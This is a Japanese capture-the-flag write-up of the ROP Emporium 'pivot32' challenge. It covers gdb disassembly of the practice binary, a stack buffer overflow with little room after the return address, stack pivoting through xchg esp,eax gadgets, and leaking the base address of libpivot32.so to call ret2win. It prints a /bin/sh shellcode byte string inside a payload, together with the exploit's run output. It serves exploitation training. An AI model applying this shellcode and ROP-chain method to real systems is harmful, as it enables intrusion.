$ gdb pivot32 Reading symbols from pivot32...(no debugging symbols found)...done. gdb-peda$ checksec CANARY : disabled FORTIFY : disabled NX : ENABLED PIE : disabled RELRO : Partial gdb-peda$ i func All defined functions: Non-debugging symbols: 0x08048550 _init 0x08048590 printf@plt 0x080485a0 free@plt 0x080485b0 fgets@plt 0x080485c0 malloc@plt 0x080485d0 puts@plt 0x080485e0 exit@plt 0x080485f0 foothold_function@plt 0x08048600 __libc_start_main@plt 0x08048610 setvbuf@plt 0x08048620 memset@plt 0x08048640 _start 0x08048670 __x86.get_pc_thunk.bx 0x08048680 deregister_tm_clones 0x080486b0 register_tm_clones 0x080486f0 __do_global_dtors_aux 0x08048710 frame_dummy 0x0804873b main 0x080487f2 pwnme 0x080488a1 uselessFunction 0x080488c0 usefulGadgets 0x080488d0 __libc_csu_init 0x08048930 __libc_csu_fini 0x08048934 _fini
pwnmeから見ていきます.
pwnme
gdb-peda$ disas pwnme Dump of assembler code for function pwnme: 0x080487f2 <+0>: push ebp 0x080487f3 <+1>: mov ebp,esp 0x080487f5 <+3>: sub esp,0x28 0x080487f8 <+6>: sub esp,0x4 0x080487fb <+9>: push 0x20 0x080487fd <+11>: push 0x0 0x080487ff <+13>: lea eax,[ebp-0x28] 0x08048802 <+16>: push eax 0x08048803 <+17>: call 0x8048620 <memset@plt> 0x08048808 <+22>: add esp,0x10 0x0804880b <+25>: sub esp,0xc 0x0804880e <+28>: push 0x8048978 0x08048813 <+33>: call 0x80485d0 <puts@plt> 0x08048818 <+38>: add esp,0x10 0x0804881b <+41>: sub esp,0x8 0x0804881e <+44>: push DWORD PTR [ebp+0x8] 0x08048821 <+47>: push 0x8048998 0x08048826 <+52>: call 0x8048590 <printf@plt> 0x0804882b <+57>: add esp,0x10 0x0804882e <+60>: sub esp,0xc 0x08048831 <+63>: push 0x80489d4 0x08048836 <+68>: call 0x80485d0 <puts@plt> 0x0804883b <+73>: add esp,0x10 0x0804883e <+76>: sub esp,0xc 0x08048841 <+79>: push 0x8048a06 0x08048846 <+84>: call 0x8048590 <printf@plt> 0x0804884b <+89>: add esp,0x10 0x0804884e <+92>: mov eax,ds:0x804a060 0x08048853 <+97>: sub esp,0x4 0x08048856 <+100>: push eax 0x08048857 <+101>: push 0x100 0x0804885c <+106>: push DWORD PTR [ebp+0x8] 0x0804885f <+109>: call 0x80485b0 <fgets@plt> 0x08048864 <+114>: add esp,0x10 0x08048867 <+117>: sub esp,0xc 0x0804886a <+120>: push 0x8048a0c 0x0804886f <+125>: call 0x80485d0 <puts@plt> 0x08048874 <+130>: add esp,0x10 0x08048877 <+133>: sub esp,0xc 0x0804887a <+136>: push 0x8048a06 0x0804887f <+141>: call 0x8048590 <printf@plt> 0x08048884 <+146>: add esp,0x10 0x08048887 <+149>: mov eax,ds:0x804a060 0x0804888c <+154>: sub esp,0x4 0x0804888f <+157>: push eax 0x08048890 <+158>: push 0x3a 0x08048892 <+160>: lea eax,[ebp-0x28] 0x08048895 <+163>: push eax 0x08048896 <+164>: call 0x80485b0 <fgets@plt> 0x0804889b <+169>: add esp,0x10 0x0804889e <+172>: nop 0x0804889f <+173>: leave 0x080488a0 <+174>: ret End of assembler dump.
1度目のfgetsの前に push DWORD PTR [ebp+0x8]
という行があることから(ebpに∔すると渡された引数に対してアクセスできます.-すればローカル変数へ)pwnmeに渡された引数を,fgetsで受け取る先として使用しているのがわかります.
2度目のfgetsはいつものpwnmeと同様にローカル変数を格納先としています.
1度目のfgetsに渡された引数はどういうものなのか,mainを見ていこうと思います.
main
gdb-peda$ disas main Dump of assembler code for function main: 0x0804873b <+0>: lea ecx,[esp+0x4] 0x0804873f <+4>: and esp,0xfffffff0 0x08048742 <+7>: push DWORD PTR [ecx-0x4] 0x08048745 <+10>: push ebp 0x08048746 <+11>: mov ebp,esp 0x08048748 <+13>: push ecx 0x08048749 <+14>: sub esp,0x14 0x0804874c <+17>: mov eax,ds:0x804a064 0x08048751 <+22>: push 0x0 0x08048753 <+24>: push 0x2 0x08048755 <+26>: push 0x0 0x08048757 <+28>: push eax 0x08048758 <+29>: call 0x8048610 <setvbuf@plt> 0x0804875d <+34>: add esp,0x10 0x08048760 <+37>: mov eax,ds:0x804a040 0x08048765 <+42>: push 0x0 0x08048767 <+44>: push 0x2 0x08048769 <+46>: push 0x0 0x0804876b <+48>: push eax 0x0804876c <+49>: call 0x8048610 <setvbuf@plt> 0x08048771 <+54>: add esp,0x10 0x08048774 <+57>: sub esp,0xc 0x08048777 <+60>: push 0x8048950 0x0804877c <+65>: call 0x80485d0 <puts@plt> 0x08048781 <+70>: add esp,0x10 0x08048784 <+73>: sub esp,0xc 0x08048787 <+76>: push 0x8048966 0x0804878c <+81>: call 0x80485d0 <puts@plt> 0x08048791 <+86>: add esp,0x10 0x08048794 <+89>: sub esp,0xc 0x08048797 <+92>: push 0x1000000 0x0804879c <+97>: call 0x80485c0 <malloc@plt> 0x080487a1 <+102>: add esp,0x10 0x080487a4 <+105>: mov DWORD PTR [ebp-0xc],eax 0x080487a7 <+108>: mov eax,DWORD PTR [ebp-0xc] 0x080487aa <+111>: add eax,0xffff00 0x080487af <+116>: mov DWORD PTR [ebp-0x10],eax 0x080487b2 <+119>: sub esp,0xc 0x080487b5 <+122>: push DWORD PTR [ebp-0x10] 0x080487b8 <+125>: call 0x80487f2 <pwnme> 0x080487bd <+130>: add esp,0x10 0x080487c0 <+133>: mov DWORD PTR [ebp-0x10],0x0 0x080487c7 <+140>: sub esp,0xc 0x080487ca <+143>: push DWORD PTR [ebp-0xc] 0x080487cd <+146>: call 0x80485a0 <free@plt> 0x080487d2 <+151>: add esp,0x10 0x080487d5 <+154>: sub esp,0xc 0x080487d8 <+157>: push 0x804896e 0x080487dd <+162>: call 0x80485d0 <puts@plt> 0x080487e2 <+167>: add esp,0x10 0x080487e5 <+170>: mov eax,0x0 0x080487ea <+175>: mov ecx,DWORD PTR [ebp-0x4] 0x080487ed <+178>: leave 0x080487ee <+179>: lea esp,[ecx-0x4] 0x080487f1 <+182>: ret End of assembler dump.
pwnmeの前で0x1000000を引数にmallocしているのがわかると思います.その後 add eax,0xffff00
で,確保した領域からpwnmeへ渡す分を調整してpwnmeへそのアドレスを渡しています.つまり,1度目のfgetsはmallocで確保したheap領域を使っていることがわかります.2度目のfgetsはいつも通りの入力値でBoFします.
2度目のfgetsですが,いつも通りの入力値でBoFするのは確かなんですが,いつものように長い値を入れることができません.試しに,以下のような入力を試してみます.
$ python -c 'print "A\n" + "A" * 44 + "B" * 100' > input.txt
pwnmeのretにブレークポイントをしかけてスタックの状態を見てみます.
$ gdb pivot32 Reading symbols from pivot32...(no debugging symbols found)...done. gdb-peda$ b *0x80488a0 Breakpoint 1 at 0x80488a0 gdb-peda$ run < input.txt .............................................
[----------------------------------registers-----------------------------------] EAX: 0xffffbd00 ('A' <repeats 44 times>, 'B' <repeats 13 times>) EBX: 0x0 ECX: 0x0 EDX: 0xf7fa387c --> 0x0 ESI: 0xf7fa2000 --> 0x1b1db0 EDI: 0xf7fa2000 --> 0x1b1db0 EBP: 0x41414141 ('AAAA') ESP: 0xffffbd2c ('B' <repeats 13 times>) EIP: 0x80488a0 (<pwnme+174>: ret) EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x804889b <pwnme+169>: add esp,0x10 0x804889e <pwnme+172>: nop 0x804889f <pwnme+173>: leave => 0x80488a0 <pwnme+174>: ret 0x80488a1 <uselessFunction>: push ebp 0x80488a2 <uselessFunction+1>: mov ebp,esp 0x80488a4 <uselessFunction+3>: sub esp,0x8 0x80488a7 <uselessFunction+6>: call 0x80485f0 <foothold_function@plt> [------------------------------------stack-------------------------------------] 0000| 0xffffbd2c ('B' <repeats 13 times>) 0004| 0xffffbd30 ("BBBBBBBBB") 0008| 0xffffbd34 ("BBBBB") 0012| 0xffffbd38 --> 0x42 ('B') 0016| 0xffffbd3c --> 0x0 0020| 0xffffbd40 --> 0x1 0024| 0xffffbd44 --> 0xffffbe04 --> 0xffffc0b1 ("/home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/pivot32") 0028| 0xffffbd48 --> 0xf7dedf08 --> 0xa41 ('A\n') [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x080488a0 in pwnme () gdb-peda$
100文字入力したはずのBが,13文字しか格納されていないのがわかるでしょうか.
このように,今回の問題はスタックのスペースが限られています.よって,問題文にもある通りstack pivotというテクニックを使っていきます.
stack pivotとは?
ももテクさんの記事がわかりやすいので引用させて頂くと,
xchgは二つのレジスタの値を交換する命令である。 GOT overwriteの書き換え先としてこのgadgetを利用すると、ジャンプした後eaxレジスタとespレジスタの値が交換され、スタックの頭が
box1->buf
に移動する。 そしてret命令が実行されると、box1->buf
の最初の4バイトが次のリターンアドレスとして参照される。 つまり、スタックバッファオーバーフローにおけるReturn-to-libcと同様のレイアウトでbox1->buf
にデータを入れておけば、そのままそれが実行されていくことになる。このようにしてスタックの頭を差し替える方法は、Stack pivotと呼ばれる。 Stack pivotには、次のようなROP gadgetがよく用いられる。
xchg esp,eax
mov esp,eax
add esp,[some constant]
つまり,xchgなどを使ってesp(スタックの先頭)を任意のアドレスと入れ替えれば,その後は入れ替えたアドレスの先を実行していくということで,今回のusefulGadgetsにも以下のようにstack pivotできるROP gadgetがあるのがわかります.
usefulGadgets
gdb-peda$ disas usefulGadgets Dump of assembler code for function usefulGadgets: 0x080488c0 <+0>: pop eax 0x080488c1 <+1>: ret 0x080488c2 <+2>: xchg esp,eax 0x080488c3 <+3>: ret 0x080488c4 <+4>: mov eax,DWORD PTR [eax] 0x080488c6 <+6>: ret 0x080488c7 <+7>: add eax,ebx 0x080488c9 <+9>: ret 0x080488ca <+10>: xchg ax,ax 0x080488cc <+12>: xchg ax,ax 0x080488ce <+14>: xchg ax,ax End of assembler dump.
usefulFunctionも見ておきます.
usefulFunction
gdb-peda$ disas uselessFunction Dump of assembler code for function uselessFunction: 0x080488a1 <+0>: push ebp 0x080488a2 <+1>: mov ebp,esp 0x080488a4 <+3>: sub esp,0x8 0x080488a7 <+6>: call 0x80485f0 <foothold_function@plt> 0x080488ac <+11>: sub esp,0xc 0x080488af <+14>: push 0x1 0x080488b1 <+16>: call 0x80485e0 <exit@plt> End of assembler dump.
foothold_function@pltを呼ぶだけのようです.今回はlibpivot32.soが渡されているので,foothold_functionの実体はここにありそうです.
問題文にも書いてあるのですが,今回のゴールはlibpivot32.soの中にあるret2winを呼ぶことです.ですがその前に,僕は1度目のfgetsでシェルコードを流し込んで,2度目でstack pivotして流し込んだシェルコードを実行できるのでは!?と思いました.
つまりこういうpayloadです.2度目のfgetsへはpop_eaxでeaxにpivot_addrを準備し,xchg_esp_eaxすることによりstack pivotを行うようなコード片を与えます.
payload = "" payload += "\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x53\x31\xd2\x52\x6a\x0b\x58\xcd\x80" # shellcode payload += "\n" payload += "A" * 44 payload += p32(pop_eax) payload += p32(pivot_addr) payload += p32(xchg_esp_eax)
ですが,いざシェルコードまで遷移して実行しようとするとinvalidと言われてしまいました.これは,mallocで確保した領域に実行権限がないために起こります.
gdb-peda$ vmmap 0xf7dedf08 Start End Perm Name 0xf6dee000 0xf7df0000 rw-p mapped
rw-pとなっていて,実行権限がついていないことがわかるでしょうか.これはNXビットというセキュリティ機構によって実現されていて,今回NXビットが有効になっているのでこのようになります.
少し話がそれましたが,libpivot32.soの中にあるret2winを呼ぶためにはどうするかを考えます.ret2winはpivot32の中にはないので,このままではアドレスがわからず呼ぶことはできそうにないです.そのため,libpivot32.soのベースアドレスというものを求めます.ベースアドレスとはその共有ライブラリがどこにロードされているのかという情報です.
pedaで見てみます.vmmapというコマンドを使います.
gdb-peda$ vmmap Start End Perm Name 0x08048000 0x08049000 r-xp /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/pivot32 0x08049000 0x0804a000 r--p /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/pivot32 0x0804a000 0x0804b000 rw-p /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/pivot32 0xf6dee000 0xf7df0000 rw-p mapped 0xf7df0000 0xf7fa0000 r-xp /lib/i386-linux-gnu/libc-2.23.so 0xf7fa0000 0xf7fa2000 r--p /lib/i386-linux-gnu/libc-2.23.so 0xf7fa2000 0xf7fa3000 rw-p /lib/i386-linux-gnu/libc-2.23.so 0xf7fa3000 0xf7fa6000 rw-p mapped 0xf7fd0000 0xf7fd1000 r-xp /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/libpivot32.so 0xf7fd1000 0xf7fd2000 r--p /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/libpivot32.so 0xf7fd2000 0xf7fd3000 rw-p /home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/libpivot32.so 0xf7fd3000 0xf7fd5000 rw-p mapped 0xf7fd5000 0xf7fd7000 r--p [vvar] 0xf7fd7000 0xf7fd9000 r-xp [vdso] 0xf7fd9000 0xf7ffb000 r-xp /lib/i386-linux-gnu/ld-2.23.so 0xf7ffb000 0xf7ffc000 rw-p mapped 0xf7ffc000 0xf7ffd000 r--p /lib/i386-linux-gnu/ld-2.23.so 0xf7ffd000 0xf7ffe000 rw-p /lib/i386-linux-gnu/ld-2.23.so 0xfffdc000 0xffffe000 rw-p [stack]
0xf7fd0000にlibpivot32.soが読み込まれているのがわかるでしょうか.これがlibpivot32.soのベースアドレスです.
ではこれを,pivot32からどうにかして読み出します.その為には,シンボル解決された関数のアドレスを出力系の関数で流出させ,そこからその関数のlibc内でのオフセットを引きます.
今回はlibpivot32.soの中で使われているfoothold_functionという関数がpivot32の中にあるので,これを使います.方針としては以下のようになります.
- 1度目のfgetsにfoothold_function@plt,printf,main,foothold_function@gotの順に与える
- 2度目のfgetsでBoFさせてstack pivot
- 1度目のfgetsで格納したものが実行されていく
3でなにが起こるのかというと,foothold_functionはpivot32の中でまだ1度も呼ばれていないので,ここで初めて呼ぶことによってシンボル解決されます.その結果,GOT領域にfoothold_functionのアドレスが格納されるので,それをprintfで出力しています.出力されたアドレスからその関数のlibpivot32.so内でのオフセットを引きます.オフセットはgdbでもobjdumpでも求まります.
gdbでやってみると,
$ gdb libpivot32.so i Reading symbols from libpivot32.so...(no debugging symbols found)...done. gdb-peda$ i func All defined functions: Non-debugging symbols: 0x000005c0 _init 0x00000600 printf@plt 0x00000610 system@plt 0x00000620 exit@plt 0x00000640 __x86.get_pc_thunk.bx 0x00000650 deregister_tm_clones 0x00000690 register_tm_clones 0x000006e0 __do_global_dtors_aux 0x00000730 frame_dummy 0x0000076c __x86.get_pc_thunk.dx 0x00000770 foothold_function 0x0000079b void_function_01 0x000007c9 void_function_02 0x000007f7 void_function_03 0x00000825 void_function_04 0x00000853 void_function_05 0x00000881 void_function_06 0x000008af void_function_07 0x000008dd void_function_08 0x0000090b void_function_09 0x00000939 void_function_10 0x00000967 ret2win 0x00000995 __x86.get_pc_thunk.ax 0x0000099c _fini
foothold_functionを見るとアドレスが0x00000770になっていますが,これがlibpivot32.so内でのfoothold_functionのオフセットです.
以上より,上記の1ではprintfのリターン先をmainにしているので,2度目のmainの2度目のfgetsにて,「求めたlibpivot32.soのベースアドレス+ret2winのlibpivot32.so内でのオフセット(0x00000967)」に遷移させれば終わりです.stack pivot + return to libcという感じでしょうか.
exploitは以下のようになります.
exploit
$ python pivot32-exploit.py [+] Starting local process './pivot32': pid 21546 [*] '/home/yyy/yyy-d/work/ctf/pwn/ROP-Emporium/pivot32/pivot32' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) RPATH: './' [+] Receiving all data: Done (259B) [*] Process './pivot32' stopped with exit code 0 (pid 21546) @\x85��`\x03���Z��pivot by ROP Emporium 32bits Call ret2win() from libpivot.so The Old Gods kindly bestow upon you a place to pivot: 0xf6decf08 Send your second chain now and it will land there > Now kindly send your stack smash > ROPE{a_placeholder_32byte_flag!}
最後に
ここに書いたwriteupは,恐らく作問者が想定した解法ばかりだと思います.なので,想定していない解法で解くというのもまた楽しいし,勉強になると思います.
以上,激長writeupでしたが誤りがあればコメントなどでお願いいたします.